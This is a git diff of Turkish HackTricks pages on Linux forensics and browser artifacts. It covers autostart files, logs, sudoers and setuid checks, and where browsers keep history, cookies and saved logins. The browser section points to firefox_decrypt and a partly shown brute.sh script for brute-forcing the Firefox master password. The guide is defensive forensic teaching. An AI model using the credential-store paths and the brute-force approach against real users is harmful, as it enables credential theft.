bağlantıları içerir. - **/usr/local/etc/rc.d/**: Özel veya üçüncü taraf hizmetleri için. -- **\~/.config/autostart/**: Kullanıcıya özgü otomatik başlatma uygulamaları için, kullanıcı odaklı kötü amaçlı yazılımların gizlenme noktası olabilir. +- **\~/.config/autostart/**: Kullanıcıya özgü otomatik başlatma uygulamaları için, kullanıcı odaklı kötü amaçlı yazılımların gizlenmesi için bir saklanma noktası olabilir. - **/lib/systemd/system/**: Kurulu paketler tarafından sağlanan sistem genelinde varsayılan birim dosyaları. ### Çekirdek Modülleri @@ -257,13 +257,13 @@ Kötü amaçlı yazılımlar tarafından kök kiti bileşeni olarak sıkça kull ### Diğer Otomatik Başlatma Konumları -Linux, kullanıcı oturum açılışında otomatik olarak programları çalıştırmak için çeşitli dosyalar kullanır ve potansiyel olarak kötü amaçlı yazılımları barındırabilir: +Linux, kullanıcı oturum açtığında otomatik olarak programları çalıştırmak için çeşitli dosyalar kullanır ve potansiyel olarak kötü amaçlı yazılım barındırabilir: - **/etc/profile.d/**\*, **/etc/profile** ve **/etc/bash.bashrc**: Herhangi bir kullanıcı oturumu için çalıştırılır. - **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, kullanıcı oturum açtığında çalıştırılır. - **/etc/rc.local**: Tüm sistem hizmetleri başladıktan sonra çalışır, çoklu kullanıcı ortamına geçişin sonunu işaretler. -## Günlükleri İnceleme +## Günlükleri İncele Linux sistemleri, çeşitli günlük dosyaları aracılığıyla kullanıcı etkinliklerini ve sistem olaylarını izler. Bu günlükler, yetkisiz erişimi, kötü amaçlı yazılım bulaşmalarını ve diğer güvenlik olaylarını tanımlamak için hayati öneme sahiptir. Önemli günlük dosyaları şunları içerir: @@ -284,7 +284,7 @@ Linux sistemleri, çeşitli günlük dosyaları aracılığıyla kullanıcı etk - **/var/log/**: Burada beklenmeyen günlükleri kontrol etmek her zaman önemlidir. {% hint style="info" %} -Linux sistem günlükleri ve denetim alt sistemleri, bir sızma veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Linux sistemlerinde günlükler genellikle kötü amaçlı etkinlikler hakkında en kullanışlı bilgileri içerdiğinden, sızanlar genellikle bunları siler. Bu nedenle, mevcut günlük dosyalarını incelemek önemlidir ve silme veya oynama belirtileri aramak önemlidir. +Linux sistem günlükleri ve denetim alt sistemleri, bir ihlal veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Linux sistemlerinde günlükler genellikle kötü amaçlı faaliyetler hakkında en kullanışlı bilgileri içerdiğinden, saldırganlar genellikle bunları siler. Bu nedenle, mevcut günlük dosyalarını inceleyerek, silinme veya oynama belirtisi olabilecek boşlukları veya sırasız girişleri aramak önemlidir. {% endhint %} **Linux, her kullanıcı için bir komut geçmişini saklar**, şurada depolanır: @@ -295,19 +295,19 @@ Linux sistem günlükleri ve denetim alt sistemleri, bir sızma veya kötü ama - \~/.python\_history - \~/.\*\_history -Ayrıca, `last -Faiwx` komutu bir kullanıcı oturum listesi sağlar. Bilinmeyen veya beklenmeyen oturum açmaları için kontrol edin. +Ayrıca, `last -Faiwx` komutu bir kullanıcı oturumunu listeler. Bilinmeyen veya beklenmeyen oturum açmaları için kontrol edin. Ek ayrıcalıklar sağlayabilecek dosyaları kontrol edin: -- Verilmemiş kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers` dosyasını inceleyin. -- Verilmemiş kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers.d/` dosyasını inceleyin. +- Beklenmeyen kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers` dosyasını inceleyin. +- Beklenmeyen kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers.d/` dizinini inceleyin. - Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/groups` dosyasını inceleyin. - Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/passwd` dosyasını inceleyin. Bazı uygulamalar kendi günlüklerini oluşturur: - **SSH**: Yetkisiz uzak bağlantılar için _\~/.ssh/authorized\_keys_ ve _\~/.ssh/known\_hosts_ dosyalarını inceleyin. -- **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla son erişilen dosyaları bulmak için _\~/.recently-used.xbel_ dosyasına bakın. +- **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla son erişilen dosyalar için _\~/.recently-used.xbel_ dosyasına bakın. - **Firefox/Chrome**: Şüpheli etkinlikler için _\~/.mozilla/firefox_ veya _\~/.config/google-chrome_ dizinlerinde tarayıcı geçmişini ve indirmeleri kontrol edin. - **VIM**: Erişilen dosya yolları ve arama geçmişi gibi kullanım detayları için _\~/.viminfo_ dosyasını inceleyin. - **Open Office**: Kompromize uğramış dosyaları gösterebilecek son belge erişimlerini kontrol edin. @@ -318,11 +318,9 @@ Bazı uygulamalar kendi günlüklerini oluşturur: ### USB Günlükleri -[**usbrip**](https://github.com/snovvcrash/usbrip), USB olay geçmiş tablolarını oluşturmak için Linux günlük dosyalarını (`/var/log/syslog*` veya dağıtıma bağlı olarak `/var/log/messages*`) ayrıştıran saf Python 3 dilinde yazılmış küçük bir yazılımdır. +[**usbrip**](https://github.com/snovvcrash/usbrip), USB olay geçmişi tabloları oluşturmak için Linux günlük dosyalarını (`/var/log/syslog*` veya dağıtıma bağlı olarak `/var/log/messages*`) ayrıştıran saf Python 3 dilinde yazılmış küçük bir yazılımdır. -**Kullanılan tüm USB'leri bilmek ilginç olacaktır** ve "ihlal olaylarını" bulmak için yetkilendirilmiş bir USB listesine sahipseniz daha da faydalı olacaktır (bu listede olmayan USB'lerin kullanımı). - -### Kurulum +**Kullanılan tüm USB'leri bilmek** ilginç olacaktır ve "ihlal olaylarını" bulmak için yetkilendirilmiş USB'lerin bir listesine sahipseniz daha da faydalı olacaktır. ```bash pip3 install usbrip usbrip ids download #Download USB ID database @@ -340,33 +338,33 @@ Daha fazla örnek ve bilgi için github içine bakın: [https://github.com/snovv
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} ## Kullanıcı Hesaplarını ve Oturum Etkinliklerini İnceleme -Bilinen yetkisiz olaylara yakın zamanda oluşturulan veya kullanılan sıradışı isimleri veya hesapları aramak için _**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** inceleyin. Ayrıca, olası sudo kaba kuvvet saldırılarını kontrol edin.\ -Ayrıca, kullanıcılara verilen beklenmeyen ayrıcalıkları aramak için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\ +Bilinen yetkisiz olaylara yakın zamanda oluşturulan veya kullanılan sıradışı isimleri veya hesapları incelemek için _**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** kontrol edin. Ayrıca, olası sudo kaba kuvvet saldırılarını kontrol edin.\ +Ayrıca, kullanıcılara verilen beklenmeyen ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\ Son olarak, **şifresiz hesapları** veya **kolayca tahmin edilebilen** şifreleri olan hesapları arayın. ## Dosya Sistemi İnceleme ### Kötü Amaçlı Yazılım İncelemesinde Dosya Sistemi Yapılarını Analiz Etme -Kötü amaçlı yazılım olaylarını araştırırken, dosya sistemi yapısı bilgi kaynağıdır ve olayların sıralamasını ve kötü amaçlı yazılımın içeriğini ortaya çıkarır. Bununla birlikte, kötü amaçlı yazılım yazarları, dosya zaman damgalarını değiştirme veya veri depolama için dosya sisteminden kaçınma gibi analizi engellemek için teknikler geliştirmektedir. +Kötü amaçlı yazılım olaylarını araştırırken, dosya sistemi yapısı bilgi kaynağı olarak hayati öneme sahiptir, olayların sırasını ve kötü amaçlı yazılımın içeriğini ortaya çıkarır. Bununla birlikte, kötü amaçlı yazılım yazarları, dosya zaman damgalarını değiştirme veya veri depolamak için dosya sisteminden kaçınma gibi analizi engellemek için teknikler geliştirmektedir. Bu anti-forensik yöntemlere karşı koymak için şunlar önemlidir: -* **Olay zaman çizelgesi analizi** yapmak için **Autopsy** gibi araçları kullanarak olay zaman çizelgelerini görselleştirmek veya ayrıntılı zaman çizelgesi verileri için **Sleuth Kit's** `mactime`'ı kullanmak. -* Saldırganlar tarafından kullanılan kabuk veya PHP betiklerini içerebilecek **sistem $PATH'indeki beklenmedik betikleri incelemek**. -* **/dev içindeki** atipik dosyaları incelemek, genellikle özel dosyalar içerir, ancak kötü amaçlı yazılımla ilişkili dosyaları içerebilir. -* ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi adlara sahip **gizli dosyaları veya dizinleri aramak**, kötü amaçlı içeriği gizleyebilir. -* `find / -user root -perm -04000 -print` komutunu kullanarak **setuid root dosyalarını tanımlamak**. Bu, saldırganlar tarafından kötüye kullanılabilecek yüksek izinlere sahip dosyaları bulur. -* İşaret tablolarındaki **silme zaman damgalarını inceleyerek** kök kiti veya truva atları varlığını gösterebilecek toplu dosya silmelerini tespit etmek. -* Bir tane tanımladıktan sonra **yakındaki kötü amaçlı dosyaları belirlemek için ardışık inode'ları incelemek**, birlikte yerleştirilmiş olabilirler. -* **Son zamanlarda değiştirilmiş dosyaları aramak için ortak ikili dizinleri** (_/bin_, _/sbin_) kontrol etmek, bu dosyalar kötü amaçlı yazılım tarafından değiştirilmiş olabilir. +* **Olay zaman çizelgesi analizi** yapmak için **Autopsy** gibi araçları kullanarak olay zaman çizelgelerini görselleştirmek veya ayrıntılı zaman çizelgesi verileri için **Sleuth Kit's** `mactime` kullanmak. +* Saldırganlar tarafından kullanılan kabuk veya PHP betiklerini içerebilecek **sistem $PATH'indeki beklenmedik betikleri inceleyin**. +* **/dev** içindeki tipik olmayan dosyaları inceleyin**, genellikle özel dosyalar içerir, ancak kötü amaçlı yazılımla ilişkili dosyaları barındırabilir. +* ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi adlara sahip **gizli dosyaları veya dizinleri arayın**, kötü amaçlı içeriği gizleyebilirler. +* `find / -user root -perm -04000 -print` komutunu kullanarak **setuid root dosyalarını tanımlayın**. Bu, saldırganlar tarafından kötüye kullanılabilecek yükseltilmiş izinlere sahip dosyaları bulur. +* İşlem tablolarındaki **silme zaman damgalarını inceleyin**, kök kiti veya truva atları varlığını gösterebilecek toplu dosya silmelerini belirlemek için. +* Bir tane tanımladıktan sonra **yakındaki kötü amaçlı dosyaları belirlemek için ardışık inode'leri inceleyin**. +* **Son zamanlarda değiştirilmiş dosyaları kontrol etmek için yaygın ikili dizinleri** (_/bin_, _/sbin_) inceleyin, çünkü bunlar kötü amaçlı yazılım tarafından değiştirilmiş olabilir. ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -375,10 +373,10 @@ ls -laR --sort=time /bin``` ls -lai /bin | sort -n``` ```` {% hint style="info" %} -**Saldırganın** dosyaları **görünüşte meşru** hale getirmek için **zamanı değiştirebileceğini**, ancak **inode**'u değiştiremeyeceğini unutmayın. Eğer bir **dosyanın** aynı klasördeki diğer dosyalarla aynı **zamanda oluşturulduğunu ve değiştirildiğini** gösterdiğini, ancak **inode**'un **beklenmedik şekilde daha büyük** olduğunu fark ederseniz, o dosyanın **zaman damgalarının değiştirildiğini** belirlemiş olursunuz. +**Saldırganın** **dosyaları** **görünüşte meşru** hale getirmek için **zamanı değiştirebileceğini**, ancak **inode**'u değiştiremeyeceğini unutmayın. Eğer bir **dosyanın**, aynı klasördeki diğer dosyalarla aynı zamanda oluşturulduğunu ve değiştirildiğini gösterdiğini fakat **inode**'un **beklenmedik şekilde daha büyük** olduğunu fark ederseniz, o dosyanın **zaman damgalarının değiştirildiğini** anlarsınız. {% endhint %} -## Farklı dosya sistem sürümlerinin dosyalarını karşılaştırın +## Farklı dosya sistem sürümlerini karşılaştırın ### Dosya Sürümü Karşılaştırma Özeti @@ -412,26 +410,26 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) * [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -* **Kitap: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +* **Kitap: Malware Forensics Field Guide for Linux Systems: Dijital Adli Bilişim Alan Kılavuzları**
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! -**Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +**Bir ** **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi ** **HackTricks'te ** **tanıtmak ister misiniz? veya ** **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* [**Resmi PEASS & HackTricks swag**](https://peass.creator-spring.com) edinin -* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** takip edin. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) +* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) +* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** -**Hacking püf noktalarınızı göndererek HackTricks** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **üzerinden PR'lar gönderin.** +**Hacking püf noktalarınızı göndererek HackTricks** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **aracılığıyla paylaşın.**
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 8ca7dbf17..8b77133d1 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -8,23 +8,23 @@ HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin -* [**PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz -* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin. -* **Hacking püf noktalarınızı göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin. +* [**PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**]'imiz(https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
\ -[**Trickest**]'i(https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**]'i(https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} ## Tarayıcı Kalıntıları -Tarayıcı kalıntıları, web tarayıcıları tarafından depolanan çeşitli veri türlerini içerir; gezinme geçmişi, yer imleri ve önbellek verileri gibi. Bu kalıntılar işletim sistemi içinde belirli klasörlerde tutulur, tarayıcılara göre konum ve ad farklılık gösterse de genellikle benzer veri türlerini depolarlar. +Tarayıcı kalıntıları, web tarayıcıları tarafından depolanan çeşitli veri türlerini içerir; gezinme geçmişi, yer imleri ve önbellek verileri gibi. Bu kalıntılar, işletim sistemi içinde belirli klasörlerde saklanır, tarayıcılara göre konum ve ad farklılıkları gösterse de genellikle benzer veri türlerini depolar. İşte en yaygın tarayıcı kalıntılarının özeti: @@ -32,24 +32,24 @@ Tarayıcı kalıntıları, web tarayıcıları tarafından depolanan çeşitli v * **Otomatik Tamamlama Verileri**: Sık aramalara dayalı öneriler, gezinme geçmişi ile birleştirildiğinde içgörüler sunar. * **Yer İmleri**: Kullanıcı tarafından hızlı erişim için kaydedilen siteler. * **Eklentiler ve Eklemeler**: Kullanıcı tarafından yüklenen tarayıcı eklentileri veya eklemeler. -* **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) saklayarak web sitesi yükleme sürelerini iyileştirir, adli analiz için değerlidir. +* **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) saklar, web sitesi yükleme sürelerini iyileştirmek için değerli bir araştırma analizi aracıdır. * **Girişler**: Saklanan giriş kimlik bilgileri. -* **Favikonlar**: Sitelerle ilişkilendirilen simgeler, sekmelerde ve yer imlerinde görünür, kullanıcı ziyaretleri hakkında ek bilgi için faydalıdır. +* **Favikonlar**: Sitelerle ilişkilendirilen simgeler, sekmelerde ve yer imlerinde görünür, kullanıcı ziyaretleri hakkında ek bilgiler için faydalıdır. * **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler. * **İndirmeler**: Tarayıcı aracılığıyla indirilen dosyaların kayıtları. * **Form Verileri**: Web formlarına girilen bilgiler, gelecekteki otomatik doldurma önerileri için kaydedilir. * **Küçük Resimler**: Web sitelerinin önizleme görüntüleri. -* **Özel Dictionary.txt**: Kullanıcının tarayıcının sözlüğüne eklediği kelimeler. +* **Özel Sözlük.txt**: Kullanıcının tarayıcının sözlüğüne eklediği kelimeler. ## Firefox -Firefox, kullanıcı verilerini profiller içinde düzenler ve işletim sistemine bağlı olarak belirli konumlarda saklar: +Firefox, kullanıcı verilerini işletim sistemine bağlı olarak belirli konumlarda depolanan profiller içinde düzenler: * **Linux**: `~/.mozilla/firefox/` * **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` * **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -Bu dizinlerdeki `profiles.ini` dosyası kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` içindeki `Path` değişkeninde adlandırılan bir klasörde saklanır, `profiles.ini` dosyasının kendisiyle aynı dizinde bulunur. Bir profil klasörü eksikse, silinmiş olabilir. +Bu dizinlerdeki `profiles.ini` dosyası kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` dosyasının bulunduğu dizindeki `Path` değişkeninde adlandırılan bir klasörde saklanır. Bir profil klasörü eksikse, silinmiş olabilir. Her profil klasöründe, birkaç önemli dosya bulabilirsiniz: @@ -59,20 +59,20 @@ Her profil klasöründe, birkaç önemli dosya bulabilirsiniz: * **formhistory.sqlite**: Web form verilerini saklar. * **handlers.json**: Protokol işleyicilerini yönetir. * **persdict.dat**: Özel sözlük kelimeleri. -* **addons.json** ve **extensions.sqlite**: Yüklenen eklenti ve uzantı bilgileri. +* **addons.json** ve **extensions.sqlite**: Yüklenen eklentiler ve uzantılar hakkındaki bilgiler. * **cookies.sqlite**: Çerez depolama, Windows'ta inceleme için [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) kullanılabilir. * **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) gibi araçlar aracılığıyla erişilebilir. * **favicons.sqlite**: Favikonları saklar. * **prefs.js**: Kullanıcı ayarları ve tercihleri. -* **downloads.sqlite**: Eski indirme veritabanı, şimdi places.sqlite'e entegre edilmiştir. +* **downloads.sqlite**: Eski indirme veritabanı, şimdi places.sqlite'a entegre edilmiştir. * **thumbnails**: Web sitesi küçük resimleri. -* **logins.json**: Şifreli giriş bilgileri. +* **logins.json**: Şifrelenmiş giriş bilgileri. * **key4.db** veya **key3.db**: Hassas bilgileri güvence altına alan şifreleme anahtarlarını saklar. -Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` içinde `browser.safebrowsing` girişlerini arayarak güvenli gezinme özelliklerinin etkin veya devre dışı bırakıldığını belirleyebilirsiniz. +Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` dosyasında `browser.safebrowsing` girişlerini arayarak güvenli gezinme özelliklerinin etkin veya devre dışı bırakıldığını belirleyebilirsiniz. -Ana şifreyi çözmek için [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) adresinden yararlanabilirsiniz\ -Aşağıdaki betik ve çağrı ile kaba kuvvet uygulamak için bir şifre dosyası belirleyebilirsiniz: +Ana şifreyi çözmek için [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) adresini kullanabilirsiniz\ +Aşağıdaki betik ve çağrı ile bir şifre dosyası belirterek kaba kuvvet uygulayabilirsiniz: {% code title="brute.sh" %} ```bash @@ -93,25 +93,25 @@ done < $passfile Google Chrome, kullanıcı profillerini işletim sistemine bağlı olarak belirli konumlarda saklar: -- **Linux**: `~/.config/google-chrome/` -- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` -- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` +* **Linux**: `~/.config/google-chrome/` +* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` +* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` Bu dizinlerde, çoğu kullanıcı verisi **Default/** veya **ChromeDefaultData/** klasörlerinde bulunabilir. Aşağıdaki dosyalar önemli verileri içerir: -- **History**: URL'leri, indirmeleri ve arama anahtar kelimelerini içerir. Windows'ta [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) geçmişi okumak için kullanılabilir. "Transition Type" sütunu, kullanıcı tıklamalarını, yazılan URL'leri, form gönderimlerini ve sayfa yenilemelerini içerir. -- **Cookies**: Çerezleri saklar. İncelemek için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) kullanılabilir. -- **Cache**: Önbelleğe alınmış verileri saklar. İncelemek için Windows kullanıcıları [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) kullanabilir. -- **Bookmarks**: Kullanıcı yer imleri. -- **Web Data**: Form geçmişini içerir. -- **Favicons**: Web sitesi faviconlarını saklar. -- **Login Data**: Kullanıcı adları ve şifreler gibi giriş kimlik bilgilerini içerir. -- **Current Session**/**Current Tabs**: Geçerli gezinme oturumu ve açık sekmeler hakkında veriler. -- **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturumda aktif olan siteler hakkında bilgi. -- **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler. -- **Thumbnails**: Web sitesi küçük resimlerini saklar. -- **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren zengin bir dosya. -- **Tarayıcının yerleşik anti-phishing'i**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` arayın. +* **History**: URL'leri, indirmeleri ve arama anahtar kelimelerini içerir. Windows'ta, geçmişi okumak için [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) kullanılabilir. "Transition Type" sütunu, kullanıcı tıklamalarını, yazılan URL'leri, form gönderimlerini ve sayfa yenilemelerini içerir. +* **Cookies**: Çerezleri saklar. İncelemek için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) kullanılabilir. +* **Cache**: Önbelleğe alınmış verileri saklar. İncelemek için Windows kullanıcıları [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) kullanabilir. +* **Bookmarks**: Kullanıcı yer imleri. +* **Web Data**: Form geçmişini içerir. +* **Favicons**: Web sitesi faviconlarını saklar. +* **Login Data**: Kullanıcı adları ve şifreler gibi giriş kimlik bilgilerini içerir. +* **Current Session**/**Current Tabs**: Geçerli tarama oturumu ve açık sekmeler hakkında veriler. +* **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturumda aktif olan siteler hakkında bilgi. +* **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler. +* **Thumbnails**: Web sitesi minik resimlerini saklar. +* **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren zengin bir dosya. +* **Tarayıcının yerleşik anti-phishing'i**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` arayın. ## **SQLite DB Veri Kurtarma** @@ -123,23 +123,23 @@ Internet Explorer 11, depolanan bilgileri ve meta verileri ayrı ayrı erişim v ### Meta Veri Depolama -Internet Explorer için meta veriler `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX V01, V16 veya V24 olabilir) içinde saklanır. Buna ek olarak, `V01.log` dosyası, `WebcacheVX.data` ile değişiklik zamanı uyumsuzluklarını gösterebilir, bu durumda `esentutl /r V01 /d` ile onarım yapılması gerekebilir. Bu ESE veritabanında bulunan meta veriler, photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosu içinde, her veri segmentinin saklandığı belirli tabloları veya konteynerleri ayırt edebilirsiniz, bu içerir diğer Microsoft araçları için önbellek ayrıntılarını Skype gibi. +Internet Explorer için meta veriler `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX V01, V16 veya V24 olabilir) içinde saklanır. Buna ek olarak, `V01.log` dosyası, `WebcacheVX.data` ile değişiklik zamanı uyumsuzluklarını gösterebilir, bu durumda `esentutl /r V01 /d` komutu ile onarım yapılması gerekebilir. Bu ESE veritabanında bulunan meta veriler, photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosu içinde, her veri segmentinin saklandığı belirli tabloları veya 